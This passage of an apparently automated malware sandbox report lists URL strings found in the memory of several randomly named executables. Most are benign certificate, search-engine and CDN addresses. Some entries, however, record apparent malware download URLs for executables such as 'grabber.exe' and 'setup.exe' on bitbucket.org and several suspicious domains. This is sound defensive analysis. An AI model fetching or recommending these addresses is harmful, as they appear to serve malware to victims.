Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468664100.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468996555.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2457158395.0000022634F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0O
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2169190202.000001D7021A0000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167052907.000001D7021A0000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175246907.000001D7021A0000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wikkt.com/forum/index.php
Source: qk9TaBBxh8.exe, 00000000.00000003.2169190202.000001D7021A0000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167052907.000001D7021A0000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2175246907.000001D7021A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wikkt.com/forum/index.php-
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://wikkt.com/forum/index.phpK
Source: nRGT2oA3F8V3EBSM6dmMTrGw.exe, 0000000A.00000000.2397354655.0000000000D12000.00000002.00000001.01000000.00000008.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2452855135.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468746507.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2465996225.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468946975.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449563727.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449377666.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468746507.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468605258.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450463415.0000022634F28000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2451130803.0000022634F1C000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449434243.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2450640619.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468795113.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2449615473.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468664100.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2468996555.0000022634F2A000.00000004.00000020.00020000.00000000.sdmp, Jsakr_KmqehdR6ptAH1OzwuM.exe, 0000000C.00000003.2457158395.0000022634F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com/CPS0
Source: qk9TaBBxh8.exe, 00000000.00000003.2129915477.000001D702263000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2132941283.000001D70220C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130108191.000001D70226C000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2132642581.000001D70230A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2132761360.000001D7023EB000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2129915477.000001D7021D9000.00000004.00000020.00020000.00000000.sdmp, TUBbflj40zqtNIEKWH_MWjeG.exe, 00000012.00000000.2397793800.0000000000410000.00000002.00000001.01000000.00000011.sdmp	String found in binary or memory: http://www.innosetup.com
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2816985403.0000000000255000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.winimage.com/zLibDll
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2928161171.0000000000AB6000.00000040.00000001.01000000.00000006.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDp
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2816985403.0000000000255000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http://www.winimage.com/zLibDllDp&Tp&
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://analytics.tiktok.com
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://aui-cdn.atlassian.com/
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://baldurgatez.com/
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://baldurgatez.com/7725eaa6592c80f8124e769b4e8a07f7.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://baldurgatez.com/7725eaa6592c80f8124e769b4e8a07f7.exexe
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://baldurgatez.com/~
Source: qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://baldurgatez.com:80/7725eaa6592c80f8124e769b4e8a07f7.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2130037595.000001D702241000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2126739049.000001D70218A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bbuseruploads.s3.amazonaws.com/8b0be658-c958-47a3-96e4-fc8e5fe7c5dc/downloads/dc50f97b-477f-
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/gs
Source: qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/superworkspacenb/gerge/downloads/grabber.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167644651.000001D701F18000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org/superworkspacenb/gerge/downloads/grabber.exeU
Source: qk9TaBBxh8.exe, 00000000.00000003.2118542305.000001D701F42000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2118393401.000001D701F42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bitbucket.org:80/superworkspacenb/gerge/downloads/grabber.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c.574859385.xyz/
Source: qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c.574859385.xyz/525403/setup.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://c.574859385.xyz/b
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/
Source: qk9TaBBxh8.exe, 00000000.00000003.2141347536.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2167698136.000001D701F29000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2135410810.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2133898149.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2141954361.000001D701F12000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/R
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/fbdd1d2f6f7fd732cbea599f111537fe/cad54ba5b01423b1af8ec10ab5719d97.exe
Source: qk9TaBBxh8.exe, 00000000.00000003.2140953938.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2130431909.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2134794548.000001D701EE7000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701EE9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/fbdd1d2f6f7fd732cbea599f111537fe/cad54ba5b01423b1af8ec10ab5719d97.exed97.ex
Source: qk9TaBBxh8.exe, 00000000.00000003.2141201425.000001D7020E9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://carthewasher.net/fbdd1d2f6f7fd732cbea599f111537fe/cad54ba5b01423b1af8ec10ab5719d97.exejd
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ampproject.org
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.cookielaw.org/
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.syndication.twimg.com
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D70224A000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2168846358.000001D70224A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://connect.facebook.net
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d136azpfpnge1l.cloudfront.net/;
Source: qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F0B000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2127220108.000001D701F02000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://d301sr5gafysq2.cloudfront.net/
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/A
Source: eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.00000000019C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com/demo/home.php?s=81.181.57.52k
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000002.2932153038.000000000196A000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000002.2819469412.0000000001366000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://db-ip.com:443/demo/home.php?s=81.181.57.52
Source: qk9TaBBxh8.exe, 00000000.00000003.2174961511.000001D7021B5000.00000004.00000020.00020000.00000000.sdmp, qk9TaBBxh8.exe, 00000000.00000003.2174809957.000001D7022E1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://dev.vk.com
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2823051341.0000000006798000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2806766200.00000000066C8000.00000004.00000020.00020000.00000000.sdmp, zFe0EAtgy56yDxXht4nmozfb.exe, 00000007.00000003.2804433882.00000000066B2000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2805132778.0000000006240000.00000004.00000020.00020000.00000000.sdmp, eQEIduvtZVhzsp4oDFOuc1gy.exe, 0000000D.00000003.2801816472.0000000006201000.00000004.00000020.00020000.00000000.sdmp, NyiVs23yIO_0wMOj5TwwBpJ5.exe, 0000000F.00000003.2539258847.0000000001D78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
